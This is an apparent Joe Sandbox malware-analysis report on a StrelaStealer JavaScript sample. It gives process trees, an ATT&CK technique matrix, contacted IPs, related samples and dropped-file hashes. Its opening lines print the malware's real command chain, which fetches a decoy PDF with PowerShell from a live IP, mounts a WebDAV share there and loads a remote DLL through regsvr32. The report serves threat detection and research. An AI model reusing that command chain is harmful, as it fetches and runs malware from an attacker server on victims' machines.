Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
207059547457320193.js	9%	Virustotal		Browse
207059547457320193.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/pacey~y	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/#8w	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/S;	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/c87	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/38g	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.39	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2717484889.0000011FE1E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1479775034.0000011FE1CC0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pacey~y	net.exe, 00000007.00000002.1478920490.000002B9B8118000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/c87	net.exe, 00000007.00000002.1478920490.000002B9B814C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/S;	net.exe, 00000007.00000002.1478920490.000002B9B814C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1478920490.000002B9B8118000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478920490.000002B9B816F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478920490.000002B9B814C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/#8w	net.exe, 00000007.00000002.1478920490.000002B9B814C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/38g	net.exe, 00000007.00000002.1478920490.000002B9B814C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589027
Start date and time:	2025-01-11 08:35:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	207059547457320193.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 54.224.241.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 23.209.209.135, 184.28.90.27, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.22.242.11, 2.22.242.123, 172.202.163.200, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:36:55	API Interceptor	22x Sleep call for process: powershell.exe modified
02:36:59	API Interceptor	1x Sleep call for process: net.exe modified
02:36:59	API Interceptor	2x Sleep call for process: svchost.exe modified
02:37:07	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	217.20.57.36
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
bg.microsoft.map.fastly.net	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	26680121751816526037.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82408542104643172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	98329724306712404.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022041321390918
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAM:RJE+Lfki1GjHwU/+vVhWqpp
MD5:	018E7678572ED1070FC704B30962E609
SHA1:	A1C3C8CE8171904467C4CDDD4EBDC5BC0AC30391
SHA-256:	7A14E299B3C5D53B9C9D66C769F634DE5C120115C2ECEAB019B2F613BFA64927
SHA-512:	494682BED3CE7CA0A039C99F412578041CB4EAC50534C5448E57177206323A9DB162842946AC90A8D163946CAFB9587720364EB5B64198EECF9715183A4C7686
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x462adeaa, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433051588764373
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	A45A125C5300FA74667C62551E306AEE
SHA1:	16B292B9E91CC7EA9EE177B38CD45959DD74B86D
SHA-256:	34F3B69046E00D635D8ACFDFE5F576DCD6735F42F0943188844046468CF20954
SHA-512:	0256E47D961D062437FDE82E91E78084B9E7ACDE76680D5DA31FCD02CF9BEE553D2466717AD094129E364C7DE82501344E187668EED5396734D3C5F3F4F58C0E
Malicious:	false
Preview:	F*.... ...............X\...;...{......................0.x...... ...{s.;$...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................M.;$...}...................+5.;$...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08083417078408381
Encrypted:	false
SSDEEP:	3:vGEYepUrJtXlsl/nqlFcl1ZUllllzQZBstXAllGBnX/l/Tj/k7/t:1zpStXlsl/qlFclQ/lEBstXA254
MD5:	FF5B634E4147B59427AB76E46E7B2F76
SHA1:	599FFF3F53ABC17D9F63B7FB39235DC78F67AE89
SHA-256:	DC9DC803AC5168D4F60980ED1CF406960AF619A55749D93245EE5D09E56CA974
SHA-512:	C2C492B52EFD4F57C003DAC773D91854234A5F40A73F17A724D3943C3945A43F0B9F623F1618BEC3F733810645729DB4D636667717DCCF017C1BEDA543551086
Malicious:	false
Preview:	sxWT.....................................;...{..;$...}... ...{s.......... ...{s.. ...{s.P.... ...{s..................+5.;$...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.204576573384116
Encrypted:	false
SSDEEP:	6:iOnWMM+q2PCHhJ2nKuAl9OmbnIFUtOZZmwgMMVkwOCHhJ2nKuAl9OmbjLJ:7dM+vBHAahFUtOZ/gMMV56HAaSJ
MD5:	0597092DE5D5DAD6E78E2E8A7EB6CA4A
SHA1:	2580D8FEBABF5FBB67CB5325205D035624CB8487
SHA-256:	228822EF21BC0E18B3DF3F25FD9CF04DAB818DA0C8327B58521F5499FA44652C
SHA-512:	AF15B893C75B86D6F1CF720F92592F676F0DC13FC72AC1ECE800D41AB78D50E958CA9B2AD65772267DF95512977F706EB465616FCB54464DCEE8B8C34DA360DA
Malicious:	false
Preview:	2025/01/11-02:36:59.317 1f6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:36:59.320 1f6c Recovering log #3.2025/01/11-02:36:59.320 1f6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.204576573384116
Encrypted:	false
SSDEEP:	6:iOnWMM+q2PCHhJ2nKuAl9OmbnIFUtOZZmwgMMVkwOCHhJ2nKuAl9OmbjLJ:7dM+vBHAahFUtOZ/gMMV56HAaSJ
MD5:	0597092DE5D5DAD6E78E2E8A7EB6CA4A
SHA1:	2580D8FEBABF5FBB67CB5325205D035624CB8487
SHA-256:	228822EF21BC0E18B3DF3F25FD9CF04DAB818DA0C8327B58521F5499FA44652C
SHA-512:	AF15B893C75B86D6F1CF720F92592F676F0DC13FC72AC1ECE800D41AB78D50E958CA9B2AD65772267DF95512977F706EB465616FCB54464DCEE8B8C34DA360DA
Malicious:	false
Preview:	2025/01/11-02:36:59.317 1f6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:36:59.320 1f6c Recovering log #3.2025/01/11-02:36:59.320 1f6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.182003264867167
Encrypted:	false
SSDEEP:	6:iOViFlL+q2PCHhJ2nKuAl9Ombzo2jMGIFUtDTj1Zmw5YLVkwOCHhJ2nKuAl9OmbX:74FN+vBHAa8uFUt71/eV56HAa8RJ
MD5:	8820A1E6C2558CC6ABF99E53D7757BB5
SHA1:	72530CC9C03E72F6810FAA0547CFD5B8823D47A0
SHA-256:	ABEAAE0E8E71F1FC93157DC1C6D810D0E5C04967A29181D48442AA5FB7352B71
SHA-512:	B08910D29B4FE0E238BFDCD6B63031AFD354407597DAB8ABC6468C045C32ADBE2A645093B4E9973E74BE6DE12AD0AF66BA2FED52B378BE4558764DAD6581E673
Malicious:	false
Preview:	2025/01/11-02:36:59.411 c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:36:59.412 c9c Recovering log #3.2025/01/11-02:36:59.413 c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.182003264867167
Encrypted:	false
SSDEEP:	6:iOViFlL+q2PCHhJ2nKuAl9Ombzo2jMGIFUtDTj1Zmw5YLVkwOCHhJ2nKuAl9OmbX:74FN+vBHAa8uFUt71/eV56HAa8RJ
MD5:	8820A1E6C2558CC6ABF99E53D7757BB5
SHA1:	72530CC9C03E72F6810FAA0547CFD5B8823D47A0
SHA-256:	ABEAAE0E8E71F1FC93157DC1C6D810D0E5C04967A29181D48442AA5FB7352B71
SHA-512:	B08910D29B4FE0E238BFDCD6B63031AFD354407597DAB8ABC6468C045C32ADBE2A645093B4E9973E74BE6DE12AD0AF66BA2FED52B378BE4558764DAD6581E673
Malicious:	false
Preview:	2025/01/11-02:36:59.411 c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:36:59.412 c9c Recovering log #3.2025/01/11-02:36:59.413 c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5e8e0288-164e-4c2c-b33e-8f45ed84bd09.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.940761706239679
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq5hsBdOg2HUcaq3QYiub6P7E4T3y:Y2sRdsSydMHH3QYhbS7nby
MD5:	E9E0305D6E0642F2AA232D362040F299
SHA1:	DE50BE9DCCCB2043054E0303DAFF3FEA627CA77A
SHA-256:	1ECFC579E748BC766D410E17B36EB8B8408B76270382F91A87C144D999EB89E5
SHA-512:	2CC545BD827F3FFC78B0B4CDB6DC86C624263EF0D3984D2CFC540B0B383B6FB4A09A3F68B1E898A0C424B8ADED1422D042CCB908CB9D4FB89A774E45B7C5E469
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381141031128226","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":331823},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF63a304.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b5c8bfb6-4b9f-4ab2-88ba-aaa573ab55b2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2344443872840385
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bZqjPJ:S43C4mS7fFi0KFYDjr3LWO3V3aw+bZq1
MD5:	ABF8A802099EF6789B09FE97B4888590
SHA1:	ADA02E85F8249DB90F00A2717CDD8B91E799841B
SHA-256:	FD1631CF3B86E187BC42D7046E522D7CD172B0C6A312A42CDAE16456FBD6F32F
SHA-512:	04CD85A9FFEF898F98E36E7C62F2A04A31251B5845B6144102704E8E55C3A063FC72276DAD1A0ACE964BE844E2BCCA23C978B09400340D7ECB5625F6FCC71023
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.205765181080261
Encrypted:	false
SSDEEP:	6:iOVrL+q2PCHhJ2nKuAl9OmbzNMxIFUtD81ZmwYE1LVkwOCHhJ2nKuAl9OmbzNMFd:7V+vBHAa8jFUtw1/LV56HAa84J
MD5:	24262124A977AEF37CA81F3E96C7EB1C
SHA1:	D2DEA30F54C19EE39C2108A4726BEBE8D1F0C78E
SHA-256:	14655875C41F38FB4E5D964902B54773C61A9EE4634AC7551DB9787E5057E736
SHA-512:	68E1E5751B74B6B4ED242E65859C8C53654CF240C2A99E6E2F0822F19A5189B5D430F2BBDC8F65DBD939613A0B842F37F19F2917DBE3A75E25A0D21D8D08C9CE
Malicious:	false
